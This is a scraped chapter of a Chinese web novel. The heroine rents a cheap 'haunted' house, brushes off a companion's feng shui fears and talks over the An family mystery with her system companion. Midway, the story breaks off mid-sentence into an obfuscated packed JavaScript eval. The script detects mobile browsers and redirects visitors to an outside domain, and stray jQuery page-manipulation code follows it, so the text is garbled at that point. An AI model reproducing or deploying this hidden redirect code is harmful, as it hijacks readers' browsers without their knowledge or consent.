默认冷灰
24号文字
方正启体

5. 八卦

作者:礼寤言本书字数:K更新时间:
    此时还不到戌时,天刚暗下去。


    可街边的灯架上早已挂满了数十盏纸灯用来照明,夜市入口绑着的火把,混着摆摊郎的汗水和烤肉香气烧的噼啪作响。


    白日里的小吃摊贩也换成了卖脂粉银钗专供姑娘们梳妆打扮的摊位,不远处吞刀吐火的杂耍表演,在一片叫好声中夹杂着孩童嬉闹。


    远远望去,满街人潮涌涌烛灯烁烁,更胜白昼。


    江妍绕过人群带几人到她去过的成衣铺子,找店家姐姐要了几身衣裳给他们。


    换上后果真应了那句人靠衣装,老张一身浅衣旧袍双目清亮,捻须一笑的样子倒有几分高人做派。


    柱子则着一件短打衣衫,窄袖紧扎,衬的臂膀更是利落,腰间勒的黑色束腰显得人既挺拔又精神,那内翻的畸形足好似也不那么显眼了。


    小满石头比他们哥长得秀气,也正是穿什么都好看的年纪。


    那店家姐姐还额外送了几朵绒球给他们用来扎小啾啾,发绳上系的小铃铛在走动时清脆作响,他们眉眼间透露的羞怯和对衣饰的珍惜使得看上去有了点同龄孩童的乖巧和天真。


    江妍满意的点头,评价道:“像个人。”


    “谁?”他们问。


    她嘴角一扯,添了点笑意:“像个人了。”


    几人有被噎到,反驳不了。石头嘿嘿一乐,说我就是人呀。


    塞瑞失笑,也不知是笑石头单纯还是笑江妍学它。


    付完银子后看了眼天色,牙行这个点应该关门了,江妍想着只能先在破庙对付一晚了。


    正要往外走时余光却扫到不远处的一人慢悠悠的晃着,可不就是白天和人聊八卦的管事。


    巧了,她过去拦住那人,两指并拢斜划出去笑着打招呼,“哟,收工啦?”


    管事眯眼,这人他认识么?这么想着也就问了出来。


    “我认识你啊,牙行管事的,但这不重要。您现在有空不,帮我找个房子?放心,钱不是问题。”江妍笑眯眯的说完等他回话。


    管事瞅了她好几眼硬是没认出是谁,又看了看她身后那几人也没什么印象。


    索性懒得再想,估摸着应该是在哪见过一两面。


    左右他也不急着回去,就应下了这件差事。


    “跟我来吧。”


    几人先到牙行点了盏灯笼用来路上照明,管事顺便问她:“你想租什么样的?”


    江妍想了下答:“户型没什么要求,离刚才那条街近点儿就行,两间屋。”


    管事点了点头,是个好说话的。于是带他们摸到附近空着的房源观摩,可一连看了三四间下来管事才知道他先前的想法有多离谱。


    “这个不行,不喜欢跟人合租。”


    “就这么两间瓦房你要我一个月900文,还一年起付,怎么不去抢。”


    “这个还行,就是太偏了……”


    “这间还有人住,你就带我过来看,他万一再续租呢?我要的是能立刻入住的。”


    “还有别的房型么?”


    ……


    江妍每说一句他头上的青筋就多一条,自己饭都没吃陪她转悠了大半个时辰,一句好没落还挑三拣四的,刚才问要求不说现在叽歪上了,他还不伺候了!


    于是袖子一甩,怒道:“没了,就这些!先前问的时候不说现在挑开了,不乐意跟人合租早说啊,我费这么大劲儿空着肚子陪你跑遛我呢。


    而且是你说的钱不是问题,我才带你过来看的。刚那间朝向好,周边安静还离市集近,家具也都齐全。嫌贵啊?阴宅住不住,每个月120文,不收押金。”


    听到这两个字,老张原本懒散的姿态瞬间紧绷了起来,如临大敌。


    江妍也是一愣,这咋还说急眼了。


    赶紧让小满出去买俩炊饼回来,再跑到人跟前给他捏肩松泛身子,好声道:“消消气嘛,气大伤肝。我说的钱不是问题是不会亏待了您,过日子嘛,还是细水长流点比较好,您说是吧。”


    管事缓了缓,看着被塞到手里的热乎烧饼和江妍放软的态度,消气了不少。但也不想说话,安静的吃着饼。


    江妍笑了笑,问他,“您刚说的阴宅,真的120文啊?”


    “不可!”管事还没开口,老张就急忙说道:“阴宅都是死过人的,住进去晦气,而且风水极差。”


    管事挑了下眉,饶有兴趣的盯了他一眼,“行家啊。”随后看向江妍,坦诚道:“他说的没错,而且那间的房主还是横死在家的,空了两年都没人敢租,小姑娘不然再考虑一下?”


    江妍不甚在意的挥了挥手,“不考虑了,难得碰见这么便宜的房子,我们几个大活人还能怕个死人?再说屋主都死两年早投胎了。你带我去看,合适的话就它了。”


    说罢,转身看向其余几人,“我很有可能就租这间,你们要是怕的话……”


    柱子率先表明立场,他爽快一笑:“不怕,就像你说的,我们人多阳气足,就算有鬼也该是它被吓跑。”


    哥哥既然这么说,小满和石头当然是听他的,哥去哪,他们就去哪。


    老张见他们这样,一番挣扎后也是叹气同意,总比破庙好,他也不想回去再被人欺负。


    江妍点头,看向管事的。管事见他们意已决,也不再多说,吃完最后几口饼提着灯笼带他们离开。


    但说归说,等七拐八绕的路越走越窄,越来越黑,周遭静的连脚步声都听不到时江妍才有点后怕想起来问塞瑞,会不会真的有鬼。


    塞瑞很明确的告诉她没有,“这个剧本不是灵异题材,不可能会出现鬼怪的,放心。”


    江妍好奇道:“意思是别的剧本会有咯?什么样的。”


    塞瑞笑了下,态度暧昧不清,“什么样的,以后有机会你会知道的。”


    她还想再问,这时管事脚步顿住,高举红灯笼回头笑着看着几人说:“到了。”


    也不知是不是氛围烘托得好,这笑容让人心底直泛凉意,夜晚在红灯笼的衬托下更显诡异。


    江妍搓了搓胳膊起的鸡皮疙瘩,看向眼前这扇划痕深浅不一的院门,推门进去。


    这是个双间一院,不算太大。


    院内一口死井毫无生气,角落堆着的发霉稻壳令人作呕。


    墙上的黑猫一动不动,绿色瞳孔竖立盯着这些新来的房客,只见它身子拱起,像是看见什么似的警备起来,前爪死死抠紧墙面,喉咙深处滚出一串低沉的咕噜声。


    小满石头怕的直咽口水,以为它要冲过来挠人时,管事丢了块石头赶跑了它,习以为常的说:“这猫戏多,每回带人来看房它都这样吓人。不管它,进去看看。”


    几人来到正房,门外蛛网缠绕,江妍刚一推门,里面就有什么东西掉落发出‘砰’的一声巨响,小满石头吓得抱的更紧了,柱子拍了拍他们肩膀以示安抚。


    江妍提着灯笼走近一看,“没事,是木板。”


    但这地儿确实不好,五月份的天气即便夜里也不见寒,这屋内却让人觉得比屋外还冷,那清晰入耳的老鼠吱吱声更是让人凉的腿肚子直打哆嗦。


    “怎么样,你要是想租,并且能付满一年租金的话我再给你每月便宜15文。”管事的见她神色如常,眼里并无害怕嫌弃之意,就主动将租金降了点,反正他都有得赚,也想尽快把这房子脱手。


    江妍摸了会下巴,她确实还算满意。


    租金便宜,还不用跟人合租,最主要的是离安家近,通勤来回不到二十分钟,除了破点潮湿了点好像没什么不好。


    她正要开口同意,老张就声调极高的制止了她。


    “等等!妍丫头,你不然再想想?这房屋前高后低坐滑梯,泄财气啊!还有这朝向,阴背阳鬼上床啊!”


    江妍顿感新奇的看向他,“嚯,你懂的挺多啊老张。”随后又宽慰他:“没事儿,咱都这么穷了还怕泄啥财。到时在南边安扇窗,多通风引阳光也就不暗了。”


    管事赞同的点头,“这房子带刺儿,是得修修。”


    老张急了,继续劝:“还有这门窗直通后门,人住久了会气血涣散的!”


    “那是气流过速引发的偏头痛和关节痛。明天让柱子去市集上淘个便宜的屏风挡一下就行。”


    “那,门口低洼积水乃阴湿之地,容易滋生秽气的!”


    “那是潮湿环境滋生的霉菌病菌,填点石灰就能防湿防潮。”


    “可这主房门正对厨房,火气冲撞扰人心神啊。”


    “你把门关上不就得了。”


    “那门口的枯树,象征生机断绝财路枯竭啊!”


    “砍了。”


    “还有这房屋格局,它……”


    “哎呀。”江妍啧了声,她不耐烦了。“我掏钱还是你掏钱,白住的没资格提意见,学学人柱子几个,把嘴给我闭上。”


    正面教材柱子三人捂嘴偷笑,吭哧点头当乖孩子。老张没法,只能熄火了。


    管事看够了热闹,这才站出来打圆场,“这房子还算好的,还有那种四鬼抬轿,红盆子凶宅没给你们看呢,家具齐全不收钱。”


    江妍眼睛一亮,“不要钱?”


    老张又被点燃了,“你要是带我们去住那种房我宁可住破庙!!”旋即转头恶狠狠的盯着管事,“你这牙人是不是吃阴饭的,凶宅都能找到!”


    管事哈哈一笑,“糊口买卖罢了,小本生意。但那种房太凶了,一直封着呢,想住也住不了。”


    江妍哦了声,颇觉可惜,老张大呼了口气放下心来,比起凶宅,阴宅好像也不是不能接受了。


    付好银子签完租帖,一式两份各自收好,管事还好心的从灯笼里匀了支蜡烛给他们后才哼着小调慢悠悠的回去,看来能脱手是真的开心。


    江妍呼出口气,忙活半天总算解决了住的地方,她叫来柱子给了点银钱,让去夜市买些热乎吃食,要是看到有卖日用品的也买回来。


    柱子点头,看了眼小满和石头就扭头跑了出去。


    江妍从犄角旮旯寻摸出个小板凳坐外面歇息,要不是肚子还饿着她真想倒头就睡。


    里头被小满和石头占着打扫卫生,也不知道他们从哪找的扫帚和抹布。江妍没让他们动,是俩小孩自己想动的。


    收拾收拾也好,不然晚上都睡不成,反正她是懒得动了,只丢了句要是看到老鼠害怕再叫她。


    老张则用搜刮出的柚子叶和盐洒遍宅内每个角落,嘴里还叽里咕噜念着江妍听不懂的咒法,懒得管,随他折腾,闭目调息中。


    “累了?”塞瑞问她。


    江妍靠着柱子,轻声回它,“还好,在想剧情。”


    “有什么想法?”


    她捋了下思绪说:“从今天接触来看,安德音确实很敬仰她的父亲,甚至对得到安老爷认可有很大的执念,原因在于她小时候有被好好爱过,所以失去之后会竭力想找回。


    她煎药、学医、做菜,甚至外人面前伪装的大家闺秀形象都是因为她父亲。可这么多的讨好为什么她父亲装作看不见呢,她到底是怨还是爱,我不确定。”


    “至于安老爷,初步猜测是重男轻女偏心小的,二胎家庭嘛都这样。可他变得也太多了,从他对安德音的态度我看不出一点父亲该有的温柔和疼惜。他又是被谁杀的,会和安德音有关么。而且发生了什么能让一个父亲死前说出‘我再也不用怕你’这句话。怕谁?”


    “还有那个小少爷,作为这个家的既得利益者为什么要去讨好一个不受宠的姐姐。他图什么,感情好?在这父女二人之间他又是充当什么身份的?还有一点,最重要的是……”


    江妍眼皮动了动,抬眼,眸中罕见的多了几分担忧。她今天一整天都在紧绷着,突然松泛下来也有点迷茫。


    “最重要的是,”塞瑞顺着她的话继续往下说:“45天对于修复一个C类剧本来说时间算长的,所以可能没有你想的这么简单。而且子系统会根据你第一次答卷的错误率来决定要不要给你第二次机会,最坏的结果就是永远留在这里,直到死。”


    江妍心累的点了点头,又叹了口气,“没错,我在现实世界还有家人呢,消失这么久他们肯定急疯了。”


    相识至今,她给人的感觉一直都是不着四六乐天知命,但又稳重细心的事业批,倒是头一次见她情绪这么低落。


    塞瑞不会安慰,只能干巴巴的说:“这你不用担心,你进入剧情世界后,外面属于你的时间线是静止的,我们时间还很充足,想开点,别急。”


    江妍敷衍嗯了两声表示听进去了,后又像是想到什么猛地抬头,眼睛亮亮的说:“你说能不能直接问角色,他们肯定知道自己这么做的原因。”


    塞瑞:“……我让你想开点没让你异想天开,你会随便把自己的秘密告诉一个陌生人么。真要这么容易管理员也不用每年找大量修复师进入剧本了。而且现在的时间线他们也没经历后面的事情,怎么可能知道自己为什么会死。”


    “别骂了别骂了,当我没说。”江妍锤了下脑壳,感觉有被自己蠢到。


    塞瑞叹了口气,顿了下说道:“我倒是有个问题想问你。”


    “什么?”


    “我回来啦!”柱子满载而归。


    “待会再问。”江妍起身,朝里头大喊,“开饭啦!”


    “说起这安老爷安行清,他是十几年前从别处搬来这里的,也算半个本地人了。


    呼噜…是我们广阳县难得一见的大善人。都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589793|171841||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知道他每年布衣施粥,可还不止如此。


    他那三家食肆,一家,呼噜…专门开在小儿子青山学院山脚下,叫染墨斋。实惠可口不说,要是遇见有困难的学生价钱更低甚至不要钱,连学院的夫子都夸安老爷心善。


    还有一家开在驿站边上,来往的都是摊贩和过路人,这个开的最久,呼噜…人多,挣老客户的钱。最后一家是个酒楼,近些年新开的,好像是在应安府吧。”


    老张边吃面片汤边告诉江妍自己知道的信息,吃完他又就着油饼啃起了炙烤猪皮肉,嘴巴还不停的在说,喷的满桌子都是。


    石头小满很有默契的端起了自己那碗用手盖住,江妍和柱子也不动声色的挪了下位置。


    老张没看到他们的小心思,继续说:“关键是,他那两间食肆每月都会有一天免费放饭给乞丐,这个善举养活了广阳县一多半的乞丐呢。”


    江妍搅了搅她面前的冰雪冷元子,这是用绿豆沙掺的薄荷水冻成的小冰球,面上还撒了桂花蜜吃着很清甜。


    她没什么胃口,吃了个糯米团就饱了。柱子见状就又出去了趟给她带回来这个。


    “那你对他家里情况了解多少,比如他女儿?”她这样问。


    老张头摇成拨浪鼓,“你说了名字我都不知道你要找的是他女儿,安小姐甚少露面,安老爷也不怎么在外人面前提起。只知道他极其疼爱小儿子,孝顺母亲,还有个哑巴妻子。”


    最后这点江妍一直很在意,她残忍的指出问题所在,“他都名利双收了,难道不觉得哑妻拿不出手么,怎么不纳个妾或是再抬一房的。”


    以今天安夫人那恭谨的态度来看,要说他俩是纯爱战士她可信不了一点。


    老张嘿嘿一笑,咽下最后一口肉说:“你搞错因果关系了,正是因为他名利双收所以才不能抛弃糟糠之妻。但这也不耽误他喝花酒,我前段时间还看到他和几个掌柜从曲院街出来呢。”


    江妍冷笑一声,没再接话。


    “丫头,你为什么要找安小姐啊,看你也不像认识她的样子。”老张好奇道。


    江妍眼皮轻掀,见桌上几人都望了过来,她答:“不是什么坏事儿,吃你们的,吃完把这收拾了。”


    她起身,朝外走去,靠坐在台阶上望着空中一轮弯月一言不发。


    塞瑞问她:“你不开心?因为安老爷么?”


    江妍倒也没遮掩,“这么明显嘛,是啊,我看他不顺眼。”


    也许在外人看来,他乐善好施,菩萨心肠,是个成功的慈善家。


    可他作为丈夫,对妻子不忠,作为父亲,是失职的。


    他偏心,给不了儿女同等的父爱,甚至漠视女儿的情感需求。


    满足孩子的依恋需求是为人父母的责任,而追寻这份心理需求是生物的本能。


    安德音不知道她哪里做错了,只能,也只会拼命的讨好父亲,以此来换取微薄的爱意,可她不知道的是,爱是不需要等价交换的。


    她笨拙的学习父亲的善行,也许只是希望从他人口中听到一句不愧是父女,一样的心善。


    可她并不擅长伪装,一味地压抑本性就需要从别处得到宣泄。


    她戏弄乞丐取乐,自伤缓解焦虑,通过贬低,毁坏他人的劳动成果得到优越感。


    可能怪她么,没有人教过她要如何自爱,懂得尊重别人。


    她变得敏感、胆怯、具有攻击性是这个压抑的环境和不健全的爱造成的。


    江妍可以理解,但不代表她认同她这样做。


    想到这儿她翻了个白眼,“嘁,一个道貌岸然的伪君子有什么好依恋的,滤镜太深了也。”


    这两句纯属主观吐槽。


    她又问:“你刚才要问我什么来着,问吧。”


    塞瑞笑了下,放下心来,“刚才还担心女主今天那样对你,你会记仇。但现在看来,是我低估你了。”


    江妍感到不可置信,“我像是那么小心眼的人么?”


    “是是是,你最豁达大度了。”哄完后它又想到安父绞毁药材那一幕,问道:“所以你甩飞拐杖也是故意的?”


    “嗯哼,准头还可以吧。”她眯了眯眼瞧天上朦胧的月光,继续说:“他当着那么多人的面教训她,也太让人难堪了。就当我多管闲事一回吧。”


    塞瑞不置可否,夸她,“你看问题挺通透的。适合当修复师,我没选错人。”


    “啊真的嘛?”江妍捂脸做羞涩状,“怪让人不好意思的嘿嘿嘿~”


    塞瑞:……它还是没太习惯她这跳脱的性格。


    “姐姐,床铺好了,可以歇息了。”柱子在她身后说道。


    江妍转身,调侃了句:“哟,不喊娘啦?我的好大儿。”


    柱子挠了挠头,有点不好意思,“姐姐就别笑我了,况且你这么年轻又好看的,哪像当娘的。”


    一连被夸两次,她脚下都有点飘。


    来到主房后,江妍看了看床,说是铺好的,其实也就在稻草堆子上添了两块布。


    今天太晚了,柱子只来得及买香皂蜡烛捕鼠夹这些,床单被子还是得白天去才有的卖。她又去耳房看了下,木板上是空的,什么都没铺。


    她从床上抽出些草堆和一块布说:“我习惯睡小屋,主房你们睡吧。”路过小满的时候顿了下,问她:“你要不要跟我睡?”


    小满一怔,牵着柱子的手往后躲了躲,江妍没在意耸了耸肩抱着东西离开了。小满看着她离去的方向,愣愣的。半晌,眼泪掉了下来。


    柱子见她这样,蹲下身轻柔的给她擦去泪水,温声问道:“怎么哭了?”


    不说还好,一说眼泪掉的更凶了,小满吸了吸鼻子,说:“我没想到她真的会愿意带着我们,哥,我们以后是不是不用再流浪了,是不是有,有……”


    最后那个字她迟迟没说出口,她怕是她的幻觉,怕一说出来就会消失。


    柱子抱了抱妹妹,没说话。


    石头这时粗神经的说:“她是娘,当然要带着我们啦。姐姐是笨蛋。”


    一句童言,惹得几人失笑。


    柱子纠正他道:“以后也要叫她姐姐,她不是娘。别问为什么,听哥的。”


    石头撅了撅嘴,哦了声,听话的没再多问。他不懂,但他知道哥说的准没错。


    老张困的打了个哈欠招呼几人上床睡觉,结束了刚才的话题。


    这床很大,他们并排横着躺都还剩点空。老张躺最外边挨着柱子,再是石头,小满睡最里面。今天一天都挺累的,没多久就都睡着了。


    而隔壁屋的江妍这会儿梦都快做两遍了,嘴巴黏黏糊糊似在说着什么。


    “晚安,塞瑞。”


    “晚安。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)